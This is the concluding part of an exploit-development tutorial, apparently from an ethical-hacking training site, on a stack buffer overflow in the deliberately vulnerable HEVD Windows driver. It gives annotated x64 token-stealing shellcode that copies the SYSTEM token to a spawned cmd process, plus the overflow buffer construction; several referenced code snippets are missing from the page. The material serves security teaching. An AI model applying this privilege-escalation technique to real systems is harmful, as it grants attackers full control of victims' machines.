Over the last two articles of this series, we have come a long way around kernel exploitation. We started with finding a buffer overflow in driver code to parsing of different structures to steal the token. In the final part of this series, we will combine the whole parts plus provide some finishing touches to complete the exploit.

In last part of this series, we have worked on copying the system token from system process to cmd process. The final section of the exploit, which is often ignored, is how to avoid crashing since we are dealing with ring 0 land here. Thus, we must find out that after exploit, where the execution should be redirected. One of the best available options is to route back to parent function as in the case of normal execution flow.

So now let’s now join all the pieces together

  1. First, let’s obtain the handle of the driver that we have seen how to do it in part 1. Below is the code snippet for the same.

  1. Next step will be to get the IOCTL for the stack overflow. This is also discussed in part 1.
  2. Next step will be to look out for System process and replace the token of spawned cmd process. The system process will already be running under PID 4 and since we have to copy the token from System process to our cmd process. First, we have to spawn the cmd process. Below is the code using CreateProcess API to do so.

Where STARTUPINFO structure is below

and Process_Information structure is as below

Note: Please note in the code how the dwProcessId member is being referenced.

If we run only the above stub, we should get output like this below that a cmd process is spawned with PID 1628.

There is a reason why we are extracting PID from CMD? Any guesses. Yes, because while traversing the EPROCESS structures we will look to compare the PID of the spawned cmd process. This is explained in the function in the last article like this

CMD_process_enumerate:

Mov rdx, [rcx-8] // since UniqueProcessId is -8 from ActiveProcessLink.

Cmp rdx, 1628 // Since rdx now contains the PID . PID of cmd 1628

Jz <CMD_process_found> // if found, jmp to SYSTEM_process_found stub

Mov rcx ,[rcx] // moving the current rcx pointer (which points to next process)

Jmp CMD_process_enumerate // continue enumeration

  1. Now we need to feed in the shellcode created in previous part. Below are the instructions for the shell code

mov rdx, [gs: 188h] // this involves pointer till KPCRB structure

mov r8, [rdx + 70h] // this involves pointer to KTHREAD

mov r9, [r8 + 188h] // r8 points to head of EPROCESS and 188h is the offset for ActiveProcessLink

mov rcx,[r9] // pointer to the next process in the list

System_process_enumerate:

Mov rdx, [rcx-8] // since UniqueProcessId is -8 from ActiveProcessLink.

Cmp rdx, 4 // Since rdx now contains the PID . Comparing it with SYSTEM process PID:4

Jz <SYSTEM_process_found> // if found, jmp to SYSTEM_process_found stub (discussed below)

Mov rcx ,[rcx] // moving the current rcx pointer (which points to next process)

Jmp System_process_enumerate // continue enumeration

SYSTEM_process_found: // reference from SYSTEM_process_enumerate

Mov rax, [rcx + 80h] //saving the token of the process

And al, 0f0h // clearing the 4 lower bits

CMD_process_enumerate:

Mov rdx, [rcx-8] // since UniqueProcessId is -8 from ActiveProcessLink.

Cmp rdx, 4444 // Since rdx now contains the PID . PID of cmd 4444(assume it for now)

Jz <CMD_process_found> // if found, jmp to SYSTEM_process_found stub (discussed below)

Mov rcx ,[rcx] // moving the current rcx pointer (which points to next process)

Jmp CMD_process_enumerate // continue enumeration

CMD_process_found:

Mov [rcx+80h], rax // moving the SYSTEM token in rax to CMD token

And below is the shellcode for the same

Ethical Hacking Training – Resources (InfoSec)

Please note that how the PID of the cmd process will be passed to the shellcode to swap the toke obtained from SYSTEM process under PID 4.

  1. After this, we need to allocate the buffer for the created shellcode. We can do it by using VirtualAlloc like below

  2. Now we need to create string buffer like below

    Shellbof=create_string_buffer(A*2056 +struct.pack(“<Q”,buf))

    Where buf is the return address of the shellcode buffer. Replace this with the IOCTL discussed in part 1 or point 2 above.

    Note: Replace the first line.

Now we are ready to launch the exploit. As soon the script is run, a cmd will be spawned but with privileges of System process

This concludes a straightforward buffer overflow example in driver land. Since there are many vulnerabilities in HEVD like below

I will try to cover them in other articles.